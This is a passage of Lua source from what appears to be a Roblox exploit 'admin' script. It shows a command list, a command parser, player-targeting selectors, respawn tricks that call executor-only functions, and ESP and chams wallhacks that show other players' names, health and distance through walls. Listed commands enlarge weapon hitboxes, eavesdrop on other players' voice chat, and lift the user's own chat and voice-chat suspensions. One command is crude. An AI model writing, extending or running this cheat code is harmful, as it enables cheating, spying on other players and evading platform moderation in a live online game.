CMDs[#CMDs + 1] = {NAME = 'equiptools', DESC = 'Equips every tool in your inventory at once'}
CMDs[#CMDs + 1] = {NAME = 'unequiptools', DESC = 'Unequips every tool you are currently holding at once'}
CMDs[#CMDs + 1] = {NAME = 'removespecifictool [name]', DESC = 'Automatically remove a specific tool from your inventory'}
CMDs[#CMDs + 1] = {NAME = 'unremovespecifictool [name]', DESC = 'Stops removing a specific tool from your inventory'}
CMDs[#CMDs + 1] = {NAME = 'clearremovespecifictool', DESC = 'Stop removing all specific tools from your inventory'}
CMDs[#CMDs + 1] = {NAME = 'reach [num]', DESC = 'Increases the hitbox of your held tool'}
CMDs[#CMDs + 1] = {NAME = 'boxreach [num]', DESC = 'Increases the hitbox of your held tool in a box shape'}
CMDs[#CMDs + 1] = {NAME = 'unreach / noreach', DESC = 'Turns off reach'}
CMDs[#CMDs + 1] = {NAME = 'grippos [X Y Z]', DESC = 'Changes your current tools grip position'}
CMDs[#CMDs + 1] = {NAME = 'usetools [amount] [delay]', DESC = 'Activates all tools in your backpack at the same time'}
CMDs[#CMDs + 1] = {NAME = '', DESC = ''}
CMDs[#CMDs + 1] = {NAME = 'addalias [cmd] [alias]', DESC = 'Adds an alias to a command'}
CMDs[#CMDs + 1] = {NAME = 'removealias [alias]', DESC = 'Removes a custom alias'}
CMDs[#CMDs + 1] = {NAME = 'clraliases', DESC = 'Removes all custom aliases'}
CMDs[#CMDs + 1] = {NAME = '', DESC = ''}
CMDs[#CMDs + 1] = {NAME = 'addplugin / plugin [name]', DESC = 'Add a plugin via command'}
CMDs[#CMDs + 1] = {NAME = 'removeplugin / deleteplugin [name]', DESC = 'Remove a plugin via command'}
CMDs[#CMDs + 1] = {NAME = 'reloadplugin [name]', DESC = 'Reloads a plugin'}
CMDs[#CMDs + 1] = {NAME = 'addallplugins / loadallplugins', DESC = 'Adds all available plugins from the workspace folder'}
CMDs[#CMDs + 1] = {NAME = '', DESC = ''}
CMDs[#CMDs + 1] = {NAME = 'breakloops / break (cmd loops)', DESC = 'Stops any cmd loops (;100^1^cmd)'}
CMDs[#CMDs + 1] = {NAME = 'removecmd / deletecmd', DESC = 'Removes a command until the admin is reloaded'}
CMDs[#CMDs + 1] = {NAME = 'tpwalk / teleportwalk [num]', DESC = 'Teleports you to your move direction'}
CMDs[#CMDs + 1] = {NAME = 'untpwalk / unteleportwalk', DESC = 'Undoes tpwalk / teleportwalk'}
CMDs[#CMDs + 1] = {NAME = 'notifyping / ping', DESC = 'Notify yourself your ping'}
CMDs[#CMDs + 1] = {NAME = 'trip', DESC = 'Makes your character fall over'}
CMDs[#CMDs + 1] = {NAME = 'norender', DESC = 'Disable 3d Rendering to decrease the amount of CPU the client uses'}
CMDs[#CMDs + 1] = {NAME = 'render', DESC = 'Enable 3d Rendering'}
CMDs[#CMDs + 1] = {NAME = 'use2022materials / 2022materials', DESC = 'Enables 2022 material textures'}
CMDs[#CMDs + 1] = {NAME = 'unuse2022materials / un2022materials', DESC = 'Disables 2022 material textures'}
CMDs[#CMDs + 1] = {NAME = 'promptr6', DESC = 'Prompts the game to switch your rig type to R6'}
CMDs[#CMDs + 1] = {NAME = 'promptr15', DESC = 'Prompts the game to switch your rig type to R15'}
CMDs[#CMDs + 1] = {NAME = 'wallwalk / walkonwalls', DESC = 'Walk on walls'}
CMDs[#CMDs + 1] = {NAME = 'removeads / adblock', DESC = 'Automatically removes ad billboards'}
CMDs[#CMDs + 1] = {NAME = 'scare / spook [player]', DESC = 'Teleports in front of a player for half a second'}
CMDs[#CMDs + 1] = {NAME = 'alignmentkeys', DESC = 'Enables the left and right alignment keys (comma and period)'}
CMDs[#CMDs + 1] = {NAME = 'unalignmentkeys / noalignmentkeys', DESC = 'Disables the alignment keys'}
CMDs[#CMDs + 1] = {NAME = 'ctrllock', DESC = 'Binds Shiftlock to LeftControl'}
CMDs[#CMDs + 1] = {NAME = 'unctrllock', DESC = 'Re-binds Shiftlock to LeftShift'}
CMDs[#CMDs + 1] = {NAME = 'listento [player]', DESC = 'Listens to the area around a player. Can also eavesdrop with vc'}
CMDs[#CMDs + 1] = {NAME = 'unlistento', DESC = 'Disables listento'}
CMDs[#CMDs + 1] = {NAME = 'jerk', DESC = 'Makes you jork it'}
CMDs[#CMDs + 1] = {NAME = 'unsuspendchat', DESC = 'Unsuspends you from text chat'}
CMDs[#CMDs + 1] = {NAME = 'unsuspendvc', DESC = 'Unsuspends you from voice chat'}
wait()
for i = 1, #CMDs do
local newcmd = Example:Clone()
newcmd.Parent = CMDsF
newcmd.Visible = false
newcmd.Text = CMDs[i].NAME
newcmd.Name = "CMD"
table.insert(text1, newcmd)
if CMDs[i].DESC ~= "" then
newcmd:SetAttribute("Title", CMDs[i].NAME)
newcmd:SetAttribute("Desc", CMDs[i].DESC)
newcmd.MouseButton1Down:Connect(function()
if not IsOnMobile and newcmd.Visible and newcmd.TextTransparency == 0 then
local currentText = Cmdbar.Text
Cmdbar:CaptureFocus()
autoComplete(newcmd.Text, currentText)
maximizeHolder()
end
end)
end
end
IndexContents("", true)
function checkTT()
local t
local guisAtPosition = COREGUI:GetGuiObjectsAtPosition(IYMouse.X, IYMouse.Y)
for _, gui in pairs(guisAtPosition) do
if gui.Parent == CMDsF then
t = gui
end
end
if t ~= nil and t:GetAttribute("Title") ~= nil then
local x = IYMouse.X
local y = IYMouse.Y
local xP
local yP
if IYMouse.X > 200 then
xP = x - 201
else
xP = x + 21
end
if IYMouse.Y > (IYMouse.ViewSizeY-96) then
yP = y - 97
else
yP = y
end
Tooltip.Position = UDim2.new(0, xP, 0, yP)
Description.Text = t:GetAttribute("Desc")
if t:GetAttribute("Title") ~= nil then
Title_3.Text = t:GetAttribute("Title")
else
Title_3.Text = ''
end
Tooltip.Visible = true
else
Tooltip.Visible = false
end
end
function FindInTable(tbl,val)
if tbl == nil then return false end
for _,v in pairs(tbl) do
if v == val then return true end
end
return false
end
function GetInTable(Table, Name)
for i = 1, #Table do
if Table[i] == Name then
return i
end
end
return false
end
function permadeath(plr)
if replicatesignal then
replicatesignal(plr.ConnectDiedSignalBackend)
task.wait(Players.RespawnTime - 0.1)
end
end
function respawn(plr)
if invisRunning then TurnVisible() end
local rcdEnabled, wasHidden = false, false
if gethidden then
rcdEnabled, wasHidden = gethidden(workspace, "RejectCharacterDeletions") ~= Enum.RejectCharacterDeletions.Disabled
end
if rcdEnabled and replicatesignal then
replicatesignal(plr.ConnectDiedSignalBackend)
task.wait(Players.RespawnTime - 0.1)
replicatesignal(plr.Kill)
elseif rcdEnabled and not replicatesignal then
notify("Incompatible Exploit", "Your exploit does not support this command (missing replicatesignal)")
else
local char = plr.Character
local hum = char:FindFirstChildWhichIsA("Humanoid")
if hum then hum:ChangeState(Enum.HumanoidStateType.Dead) end
char:ClearAllChildren()
local newChar = Instance.new("Model")
newChar.Parent = workspace
plr.Character = newChar
task.wait()
plr.Character = char
newChar:Destroy()
end
end
local refreshCmd = false
function refresh(plr)
refreshCmd = true
local root = plr.Character:WaitForChild("HumanoidRootPart")
local pos = root.CFrame
local pos1 = workspace.CurrentCamera.CFrame
respawn(plr)
task.spawn(function()
plr.CharacterAdded:Wait():WaitForChild("HumanoidRootPart").CFrame, workspace.CurrentCamera.CFrame = pos, task.wait() and pos1
refreshCmd = false
end)
end
local lastDeath
function onDied()
task.spawn(function()
if pcall(function() Players.LocalPlayer.Character:FindFirstChildOfClass('Humanoid') end) and Players.LocalPlayer.Character:FindFirstChildOfClass('Humanoid') then
Players.LocalPlayer.Character:FindFirstChildOfClass('Humanoid').Died:Connect(function()
if getRoot(Players.LocalPlayer.Character) then
lastDeath = getRoot(Players.LocalPlayer.Character).CFrame
end
end)
else
wait(2)
onDied()
end
end)
end
Clip = true
spDelay = 0.1
Players.LocalPlayer.CharacterAdded:Connect(function()
NOFLY()
Floating = false
if not Clip then
execCmd('clip')
end
repeat wait() until getRoot(Players.LocalPlayer.Character)
pcall(function()
if spawnpoint and not refreshCmd and spawnpos ~= nil then
wait(spDelay)
getRoot(Players.LocalPlayer.Character).CFrame = spawnpos
end
end)
onDied()
end)
onDied()
function getstring(begin)
local start = begin-1
local AA = '' for i,v in pairs(cargs) do
if i > start then
if AA ~= '' then
AA = AA .. ' ' .. v
else
AA = AA .. v
end
end
end
return AA
end
findCmd=function(cmd_name)
for i,v in pairs(cmds)do
if v.NAME:lower()==cmd_name:lower() or FindInTable(v.ALIAS,cmd_name:lower()) then
return v
end
end
return customAlias[cmd_name:lower()]
end
function splitString(str,delim)
local broken = {}
if delim == nil then delim = "," end
for w in string.gmatch(str,"[^"..delim.."]+") do
table.insert(broken,w)
end
return broken
end
cmdHistory = {}
local lastCmds = {}
local historyCount = 0
local split=" "
local lastBreakTime = 0
function execCmd(cmdStr,speaker,store)
cmdStr = cmdStr:gsub("%s+$","")
task.spawn(function()
local rawCmdStr = cmdStr
cmdStr = string.gsub(cmdStr,"\\\\","%%BackSlash%%")
local commandsToRun = splitString(cmdStr,"\\")
for i,v in pairs(commandsToRun) do
v = string.gsub(v,"%%BackSlash%%","\\")
local x,y,num = v:find("^(%d+)%^")
local cmdDelay = 0
local infTimes = false
if num then
v = v:sub(y+1)
local x,y,del = v:find("^([%d%.]+)%^")
if del then
v = v:sub(y+1)
cmdDelay = tonumber(del) or 0
end
else
local x,y = v:find("^inf%^")
if x then
infTimes = true
v = v:sub(y+1)
local x,y,del = v:find("^([%d%.]+)%^")
if del then
v = v:sub(y+1)
del = tonumber(del) or 1
cmdDelay = (del > 0 and del or 1)
else
cmdDelay = 1
end
end
end
num = tonumber(num or 1)
if v:sub(1,1) == "!" then
local chunks = splitString(v:sub(2),split)
if chunks[1] and lastCmds[chunks[1]] then v = lastCmds[chunks[1]] end
end
local args = splitString(v,split)
local cmdName = args[1]
local cmd = findCmd(cmdName)
if cmd then
table.remove(args,1)
cargs = args
if not speaker then speaker = Players.LocalPlayer end
if store then
if speaker == Players.LocalPlayer then
if cmdHistory[1] ~= rawCmdStr and rawCmdStr:sub(1,11) ~= 'lastcommand' and rawCmdStr:sub(1,7) ~= 'lastcmd' then
table.insert(cmdHistory,1,rawCmdStr)
end
end
if #cmdHistory > 30 then table.remove(cmdHistory) end
lastCmds[cmdName] = v
end
local cmdStartTime = tick()
if infTimes then
while lastBreakTime < cmdStartTime do
local success,err = pcall(cmd.FUNC,args, speaker)
if not success and _G.IY_DEBUG then
warn("Command Error:", cmdName, err)
end
wait(cmdDelay)
end
else
for rep = 1,num do
if lastBreakTime > cmdStartTime then break end
local success,err = pcall(function()
cmd.FUNC(args, speaker)
end)
if not success and _G.IY_DEBUG then
warn("Command Error:", cmdName, err)
end
if cmdDelay ~= 0 then wait(cmdDelay) end
end
end
end
end
end)
end
function addcmd(name,alias,func,plgn)
cmds[#cmds+1]=
{
NAME=name;
ALIAS=alias or {};
FUNC=func;
PLUGIN=plgn;
}
end
function removecmd(cmd)
if cmd ~= " " then
for i = #cmds,1,-1 do
if cmds[i].NAME == cmd or FindInTable(cmds[i].ALIAS,cmd) then
table.remove(cmds, i)
for a,c in pairs(CMDsF:GetChildren()) do
if string.find(c.Text, "^"..cmd.."$") or string.find(c.Text, "^"..cmd.." ") or string.find(c.Text, " "..cmd.."$") or string.find(c.Text, " "..cmd.." ") then
c.TextTransparency = 0.7
c.MouseButton1Click:Connect(function()
notify(c.Text, "Command has been disabled by you or a plugin")
end)
end
end
end
end
end
end
function overridecmd(name, func)
local cmd = findCmd(name)
if cmd and cmd.FUNC then cmd.FUNC = func end
end
function addbind(cmd,key,iskeyup,toggle)
if toggle then
binds[#binds+1]=
{
COMMAND=cmd;
KEY=key;
ISKEYUP=iskeyup;
TOGGLE = toggle;
}
else
binds[#binds+1]=
{
COMMAND=cmd;
KEY=key;
ISKEYUP=iskeyup;
}
end
end
function addcmdtext(text,name,desc)
local newcmd = Example:Clone()
local tooltipText = tostring(text)
local tooltipDesc = tostring(desc)
newcmd.Parent = CMDsF
newcmd.Visible = false
newcmd.Text = text
newcmd.Name = 'PLUGIN_'..name
table.insert(text1,newcmd)
if desc and desc ~= '' then
newcmd:SetAttribute("Title", tooltipText)
newcmd:SetAttribute("Desc", tooltipDesc)
newcmd.MouseButton1Down:Connect(function()
if newcmd.Visible and newcmd.TextTransparency == 0 then
Cmdbar:CaptureFocus()
autoComplete(newcmd.Text)
maximizeHolder()
end
end)
end
end
local WorldToScreen = function(Object)
local ObjectVector = workspace.CurrentCamera:WorldToScreenPoint(Object.Position)
return Vector2.new(ObjectVector.X, ObjectVector.Y)
end
local MousePositionToVector2 = function()
return Vector2.new(IYMouse.X, IYMouse.Y)
end
local GetClosestPlayerFromCursor = function()
local found = nil
local ClosestDistance = math.huge
for i, v in pairs(Players:GetPlayers()) do
if v ~= Players.LocalPlayer and v.Character and v.Character:FindFirstChildOfClass("Humanoid") then
for k, x in pairs(v.Character:GetChildren()) do
if string.find(x.Name, "Torso") then
local Distance = (WorldToScreen(x) - MousePositionToVector2()).Magnitude
if Distance < ClosestDistance then
ClosestDistance = Distance
found = v
end
end
end
end
end
return found
end
SpecialPlayerCases = {
["all"] = function(speaker) return Players:GetPlayers() end,
["others"] = function(speaker)
local plrs = {}
for i,v in pairs(Players:GetPlayers()) do
if v ~= speaker then
table.insert(plrs,v)
end
end
return plrs
end,
["me"] = function(speaker)return {speaker} end,
["#(%d+)"] = function(speaker,args,currentList)
local returns = {}
local randAmount = tonumber(args[1])
local players = {unpack(currentList)}
for i = 1,randAmount do
if #players == 0 then break end
local randIndex = math.random(1,#players)
table.insert(returns,players[randIndex])
table.remove(players,randIndex)
end
return returns
end,
["random"] = function(speaker,args,currentList)
local players = Players:GetPlayers()
local localplayer = Players.LocalPlayer
table.remove(players, table.find(players, localplayer))
return {players[math.random(1,#players)]}
end,
["%%(.+)"] = function(speaker,args)
local returns = {}
local team = args[1]
for _,plr in pairs(Players:GetPlayers()) do
if plr.Team and string.sub(string.lower(plr.Team.Name),1,#team) == string.lower(team) then
table.insert(returns,plr)
end
end
return returns
end,
["allies"] = function(speaker)
local returns = {}
local team = speaker.Team
for _,plr in pairs(Players:GetPlayers()) do
if plr.Team == team then
table.insert(returns,plr)
end
end
return returns
end,
["enemies"] = function(speaker)
local returns = {}
local team = speaker.Team
for _,plr in pairs(Players:GetPlayers()) do
if plr.Team ~= team then
table.insert(returns,plr)
end
end
return returns
end,
["team"] = function(speaker)
local returns = {}
local team = speaker.Team
for _,plr in pairs(Players:GetPlayers()) do
if plr.Team == team then
table.insert(returns,plr)
end
end
return returns
end,
["nonteam"] = function(speaker)
local returns = {}
local team = speaker.Team
for _,plr in pairs(Players:GetPlayers()) do
if plr.Team ~= team then
table.insert(returns,plr)
end
end
return returns
end,
["friends"] = function(speaker,args)
local returns = {}
for _,plr in pairs(Players:GetPlayers()) do
if plr:IsFriendsWith(speaker.UserId) and plr ~= speaker then
table.insert(returns,plr)
end
end
return returns
end,
["nonfriends"] = function(speaker,args)
local returns = {}
for _,plr in pairs(Players:GetPlayers()) do
if not plr:IsFriendsWith(speaker.UserId) and plr ~= speaker then
table.insert(returns,plr)
end
end
return returns
end,
["guests"] = function(speaker,args)
local returns = {}
for _,plr in pairs(Players:GetPlayers()) do
if plr.Guest then
table.insert(returns,plr)
end
end
return returns
end,
["bacons"] = function(speaker,args)
local returns = {}
for _,plr in pairs(Players:GetPlayers()) do
if plr.Character:FindFirstChild('Pal Hair') or plr.Character:FindFirstChild('Kate Hair') then
table.insert(returns,plr)
end
end
return returns
end,
["age(%d+)"] = function(speaker,args)
local returns = {}
local age = tonumber(args[1])
if not age == nil then return end
for _,plr in pairs(Players:GetPlayers()) do
if plr.AccountAge <= age then
table.insert(returns,plr)
end
end
return returns
end,
["nearest"] = function(speaker,args,currentList)
local speakerChar = speaker.Character
if not speakerChar or not getRoot(speakerChar) then return end
local lowest = math.huge
local NearestPlayer = nil
for _,plr in pairs(currentList) do
if plr ~= speaker and plr.Character then
local distance = plr:DistanceFromCharacter(getRoot(speakerChar).Position)
if distance < lowest then
lowest = distance
NearestPlayer = {plr}
end
end
end
return NearestPlayer
end,
["farthest"] = function(speaker,args,currentList)
local speakerChar = speaker.Character
if not speakerChar or not getRoot(speakerChar) then return end
local highest = 0
local Farthest = nil
for _,plr in pairs(currentList) do
if plr ~= speaker and plr.Character then
local distance = plr:DistanceFromCharacter(getRoot(speakerChar).Position)
if distance > highest then
highest = distance
Farthest = {plr}
end
end
end
return Farthest
end,
["group(%d+)"] = function(speaker,args)
local returns = {}
local groupID = tonumber(args[1])
for _,plr in pairs(Players:GetPlayers()) do
if plr:IsInGroup(groupID) then
table.insert(returns,plr)
end
end
return returns
end,
["alive"] = function(speaker,args)
local returns = {}
for _,plr in pairs(Players:GetPlayers()) do
if plr.Character and plr.Character:FindFirstChildOfClass("Humanoid") and plr.Character:FindFirstChildOfClass("Humanoid").Health > 0 then
table.insert(returns,plr)
end
end
return returns
end,
["dead"] = function(speaker,args)
local returns = {}
for _,plr in pairs(Players:GetPlayers()) do
if (not plr.Character or not plr.Character:FindFirstChildOfClass("Humanoid")) or plr.Character:FindFirstChildOfClass("Humanoid").Health <= 0 then
table.insert(returns,plr)
end
end
return returns
end,
["rad(%d+)"] = function(speaker,args)
local returns = {}
local radius = tonumber(args[1])
local speakerChar = speaker.Character
if not speakerChar or not getRoot(speakerChar) then return end
for _,plr in pairs(Players:GetPlayers()) do
if plr.Character and getRoot(plr.Character) then
local magnitude = (getRoot(plr.Character).Position-getRoot(speakerChar).Position).magnitude
if magnitude <= radius then table.insert(returns,plr) end
end
end
return returns
end,
["cursor"] = function(speaker)
local plrs = {}
local v = GetClosestPlayerFromCursor()
if v ~= nil then table.insert(plrs, v) end
return plrs
end,
["npcs"] = function(speaker,args)
local returns = {}
for _, v in pairs(workspace:GetDescendants()) do
if v:IsA("Model") and getRoot(v) and v:FindFirstChildWhichIsA("Humanoid") and Players:GetPlayerFromCharacter(v) == nil then
local clone = Instance.new("Player")
clone.Name = v.Name .. " - " .. v:FindFirstChildWhichIsA("Humanoid").DisplayName
clone.Character = v
table.insert(returns, clone)
end
end
return returns
end,
}
function toTokens(str)
local tokens = {}
for op,name in string.gmatch(str,"([+-])([^+-]+)") do
table.insert(tokens,{Operator = op,Name = name})
end
return tokens
end
function onlyIncludeInTable(tab,matches)
local matchTable = {}
local resultTable = {}
for i,v in pairs(matches) do matchTable[v.Name] = true end
for i,v in pairs(tab) do if matchTable[v.Name] then table.insert(resultTable,v) end end
return resultTable
end
function removeTableMatches(tab,matches)
local matchTable = {}
local resultTable = {}
for i,v in pairs(matches) do matchTable[v.Name] = true end
for i,v in pairs(tab) do if not matchTable[v.Name] then table.insert(resultTable,v) end end
return resultTable
end
function getPlayersByName(Name)
local Name,Len,Found = string.lower(Name),#Name,{}
for _,v in pairs(Players:GetPlayers()) do
if Name:sub(0,1) == '@' then
if string.sub(string.lower(v.Name),1,Len-1) == Name:sub(2) then
table.insert(Found,v)
end
else
if string.sub(string.lower(v.Name),1,Len) == Name or string.sub(string.lower(v.DisplayName),1,Len) == Name then
table.insert(Found,v)
end
end
end
return Found
end
function getPlayer(list,speaker)
if list == nil then return {speaker.Name} end
local nameList = splitString(list,",")
local foundList = {}
for _,name in pairs(nameList) do
if string.sub(name,1,1) ~= "+" and string.sub(name,1,1) ~= "-" then name = "+"..name end
local tokens = toTokens(name)
local initialPlayers = Players:GetPlayers()
for i,v in pairs(tokens) do
if v.Operator == "+" then
local tokenContent = v.Name
local foundCase = false
for regex,case in pairs(SpecialPlayerCases) do
local matches = {string.match(tokenContent,"^"..regex.."$")}
if #matches > 0 then
foundCase = true
initialPlayers = onlyIncludeInTable(initialPlayers,case(speaker,matches,initialPlayers))
end
end
if not foundCase then
initialPlayers = onlyIncludeInTable(initialPlayers,getPlayersByName(tokenContent))
end
else
local tokenContent = v.Name
local foundCase = false
for regex,case in pairs(SpecialPlayerCases) do
local matches = {string.match(tokenContent,"^"..regex.."$")}
if #matches > 0 then
foundCase = true
initialPlayers = removeTableMatches(initialPlayers,case(speaker,matches,initialPlayers))
end
end
if not foundCase then
initialPlayers = removeTableMatches(initialPlayers,getPlayersByName(tokenContent))
end
end
end
for i,v in pairs(initialPlayers) do table.insert(foundList,v) end
end
local foundNames = {}
for i,v in pairs(foundList) do table.insert(foundNames,v.Name) end
return foundNames
end
function formatUsername(player)
if player.DisplayName ~= player.Name then
return string.format("%s (%s)", player.Name, player.DisplayName)
end
return player.Name
end
getprfx=function(strn)
if strn:sub(1,string.len(prefix))==prefix then return{'cmd',string.len(prefix)+1}
end return
end
function do_exec(str, plr)
str = str:gsub('/e ', '')
local t = getprfx(str)
if not t then return end
str = str:sub(t[2])
if t[1]=='cmd' then
execCmd(str, plr, true)
IndexContents('',true,false,true)
CMDsF.CanvasPosition = canvasPos
end
end
lastTextBoxString,lastTextBoxCon,lastEnteredString = nil,nil,nil
UserInputService.TextBoxFocused:Connect(function(obj)
if lastTextBoxCon then lastTextBoxCon:Disconnect() end
if obj == Cmdbar then lastTextBoxString = nil return end
lastTextBoxString = obj.Text
lastTextBoxCon = obj:GetPropertyChangedSignal("Text"):Connect(function()
if not (UserInputService:IsKeyDown(Enum.KeyCode.Return) or UserInputService:IsKeyDown(Enum.KeyCode.KeypadEnter)) then
lastTextBoxString = obj.Text
end
end)
end)
UserInputService.InputBegan:Connect(function(input,gameProcessed)
if gameProcessed then
if Cmdbar and Cmdbar:IsFocused() then
if input.KeyCode == Enum.KeyCode.Up then
historyCount = historyCount + 1
if historyCount > #cmdHistory then historyCount = #cmdHistory end
Cmdbar.Text = cmdHistory[historyCount] or ""
Cmdbar.CursorPosition = 1020
elseif input.KeyCode == Enum.KeyCode.Down then
historyCount = historyCount - 1
if historyCount < 0 then historyCount = 0 end
Cmdbar.Text = cmdHistory[historyCount] or ""
Cmdbar.CursorPosition = 1020
end
elseif input.KeyCode == Enum.KeyCode.Return or input.KeyCode == Enum.KeyCode.KeypadEnter then
lastEnteredString = lastTextBoxString
end
end
end)
Players.LocalPlayer.Chatted:Connect(function()
wait()
if lastEnteredString then
local message = lastEnteredString
lastEnteredString = nil
do_exec(message, Players.LocalPlayer)
end
end)
Cmdbar.PlaceholderText = "Command Bar ("..prefix..")"
Cmdbar:GetPropertyChangedSignal("Text"):Connect(function()
if Cmdbar:IsFocused() then
IndexContents(Cmdbar.Text,true,true)
end
end)
local tabComplete = nil
tabAllowed = true
Cmdbar.FocusLost:Connect(function(enterpressed)
if enterpressed then
local cmdbarText = Cmdbar.Text:gsub("^"..prefix,"")
execCmd(cmdbarText,Players.LocalPlayer,true)
end
if tabComplete then tabComplete:Disconnect() end
wait()
if not Cmdbar:IsFocused() then
Cmdbar.Text = ""
IndexContents('',true,false,true)
if SettingsOpen == true then
wait(0.2)
Settings:TweenPosition(UDim2.new(0, 0, 0, 45), "InOut", "Quart", 0.2, true, nil)
CMDsF.Visible = false
end
end
CMDsF.CanvasPosition = canvasPos
end)
Cmdbar.Focused:Connect(function()
historyCount = 0
canvasPos = CMDsF.CanvasPosition
if SettingsOpen == true then
wait(0.2)
CMDsF.Visible = true
Settings:TweenPosition(UDim2.new(0, 0, 0, 220), "InOut", "Quart", 0.2, true, nil)
end
tabComplete = UserInputService.InputBegan:Connect(function(input,gameProcessed)
if Cmdbar:IsFocused() then
if tabAllowed == true and input.KeyCode == Enum.KeyCode.Tab and topCommand ~= nil then
autoComplete(topCommand)
end
else
tabComplete:Disconnect()
end
end)
end)
ESPenabled = false
CHMSenabled = false
function round(num, numDecimalPlaces)
local mult = 10^(numDecimalPlaces or 0)
return math.floor(num * mult + 0.5) / mult
end
function ESP(plr, logic)
task.spawn(function()
for i,v in pairs(COREGUI:GetChildren()) do
if v.Name == plr.Name..'_ESP' then
v:Destroy()
end
end
wait()
if plr.Character and plr.Name ~= Players.LocalPlayer.Name and not COREGUI:FindFirstChild(plr.Name..'_ESP') then
local ESPholder = Instance.new("Folder")
ESPholder.Name = plr.Name..'_ESP'
ESPholder.Parent = COREGUI
repeat wait(1) until plr.Character and getRoot(plr.Character) and plr.Character:FindFirstChildOfClass("Humanoid")
for b,n in pairs (plr.Character:GetChildren()) do
if (n:IsA("BasePart")) then
local a = Instance.new("BoxHandleAdornment")
a.Name = plr.Name
a.Parent = ESPholder
a.Adornee = n
a.AlwaysOnTop = true
a.ZIndex = 10
a.Size = n.Size
a.Transparency = espTransparency
if logic == true then
a.Color = BrickColor.new(plr.TeamColor == Players.LocalPlayer.TeamColor and "Bright green" or "Bright red")
else
a.Color = plr.TeamColor
end
end
end
if plr.Character and plr.Character:FindFirstChild('Head') then
local BillboardGui = Instance.new("BillboardGui")
local TextLabel = Instance.new("TextLabel")
BillboardGui.Adornee = plr.Character.Head
BillboardGui.Name = plr.Name
BillboardGui.Parent = ESPholder
BillboardGui.Size = UDim2.new(0, 100, 0, 150)
BillboardGui.StudsOffset = Vector3.new(0, 1, 0)
BillboardGui.AlwaysOnTop = true
TextLabel.Parent = BillboardGui
TextLabel.BackgroundTransparency = 1
TextLabel.Position = UDim2.new(0, 0, 0, -50)
TextLabel.Size = UDim2.new(0, 100, 0, 100)
TextLabel.Font = Enum.Font.SourceSansSemibold
TextLabel.TextSize = 20
TextLabel.TextColor3 = Color3.new(1, 1, 1)
TextLabel.TextStrokeTransparency = 0
TextLabel.TextYAlignment = Enum.TextYAlignment.Bottom
TextLabel.Text = 'Name: '..plr.Name
TextLabel.ZIndex = 10
local espLoopFunc
local teamChange
local addedFunc
addedFunc = plr.CharacterAdded:Connect(function()
if ESPenabled then
espLoopFunc:Disconnect()
teamChange:Disconnect()
ESPholder:Destroy()
repeat wait(1) until getRoot(plr.Character) and plr.Character:FindFirstChildOfClass("Humanoid")
ESP(plr, logic)
addedFunc:Disconnect()
else
teamChange:Disconnect()
addedFunc:Disconnect()
end
end)
teamChange = plr:GetPropertyChangedSignal("TeamColor"):Connect(function()
if ESPenabled then
espLoopFunc:Disconnect()
addedFunc:Disconnect()
ESPholder:Destroy()
repeat wait(1) until getRoot(plr.Character) and plr.Character:FindFirstChildOfClass("Humanoid")
ESP(plr, logic)
teamChange:Disconnect()
else
teamChange:Disconnect()
end
end)
local function espLoop()
if COREGUI:FindFirstChild(plr.Name..'_ESP') then
if plr.Character and getRoot(plr.Character) and plr.Character:FindFirstChildOfClass("Humanoid") and Players.LocalPlayer.Character and getRoot(Players.LocalPlayer.Character) and Players.LocalPlayer.Character:FindFirstChildOfClass("Humanoid") then
local pos = math.floor((getRoot(Players.LocalPlayer.Character).Position - getRoot(plr.Character).Position).magnitude)
TextLabel.Text = 'Name: '..plr.Name..' | Health: '..round(plr.Character:FindFirstChildOfClass('Humanoid').Health, 1)..' | Studs: '..pos
end
else
teamChange:Disconnect()
addedFunc:Disconnect()
espLoopFunc:Disconnect()
end
end
espLoopFunc = RunService.RenderStepped:Connect(espLoop)
end
end
end)
end
function CHMS(plr)
task.spawn(function()
for i,v in pairs(COREGUI:GetChildren()) do
if v.Name == plr.Name..'_CHMS' then
v:Destroy()
end
end
wait()
if plr.Character and plr.Name ~= Players.LocalPlayer.Name and not COREGUI:FindFirstChild(plr.Name..'_CHMS') then
local ESPholder = Instance.new("Folder")
ESPholder.Name = plr.Name..'_CHMS'
ESPholder.Parent = COREGUI
repeat wait(1) until plr.Character and getRoot(plr.Character) and plr.Character:FindFirstChildOfClass("Humanoid")
for b,n in pairs (plr.Character:GetChildren()) do
if (n:IsA("BasePart")) then
local a = Instance.new("BoxHandleAdornment")
a.Name = plr.Name
a.Parent = ESPholder
a.Adornee = n
a.AlwaysOnTop = true
a.ZIndex = 10
a.Size = n.Size
a.Transparency = espTransparency
a.Color = plr.TeamColor
end
end
local addedFunc
local teamChange
local CHMSremoved
addedFunc = plr.CharacterAdded:Connect(function()
if CHMSenabled then
ESPholder:Destroy()
teamChange:Disconnect()
repeat wait(1) until getRoot(plr.Character) and plr.Character:FindFirstChildOfClass("Humanoid")
CHMS(plr)
addedFunc:Disconnect()
else
teamChange:Disconnect()
addedFunc:Disconnect()
end
end)
teamChange = plr:GetPropertyChangedSignal("TeamColor"):Connect(function()
if CHMSenabled then
ESPholder:Destroy()
addedFunc:Disconnect()
repeat wait(1) until getRoot(plr.Character) and plr.Character:FindFirstChildOfClass("Humanoid")
CHMS(plr)
teamChange:Disconnect()
else
teamChange:Disconnect()
end
end)
CHMSremoved = ESPholder.AncestryChanged:Connect(function()
teamChange:Disconnect()
addedFunc:Disconnect()
CHMSremoved:Disconnect()
end)
end
end)
end
function Locate(plr)
task.spawn(function()
for i,v in pairs(COREGUI:GetChildren()) do
if v.Name == plr.Name..'_LC' then
v:Destroy()
end
end
wait()
if plr.Character and plr.Name ~= Players.LocalPlayer.Name and not COREGUI:FindFirstChild(plr.Name..'_LC') then
local ESPholder = Instance.new("Folder")
ESPholder.Name = plr.Name..'_LC'
ESPholder.Parent = COREGUI
repeat wait(1) until plr.Character and getRoot(plr.Character) and plr.Character:FindFirstChildOfClass("Humanoid")
for b,n in pairs (plr.Character:GetChildren()) do
if (n:IsA("BasePart")) then
local a = Instance.new("BoxHandleAdornment")
a.Name = plr.Name
a.Parent = ESPholder
a.Adornee = n
a.AlwaysOnTop = true
a.ZIndex = 10
a.Size = n.Size
a.Transparency = espTransparency
a.Color = plr.TeamColor
end
end
if plr.Character and plr.Character:FindFirstChild('Head') then
local BillboardGui = Instance.new("BillboardGui")
local TextLabel = Instance.new("TextLabel")
BillboardGui.Adornee = plr.Character.Head
BillboardGui.Name = plr.Name
BillboardGui.Parent = ESPholder
BillboardGui.Size = UDim2.new(0, 100, 0, 150)
BillboardGui.StudsOffset = Vector3.new(0, 1, 0)
BillboardGui.AlwaysOnTop = true
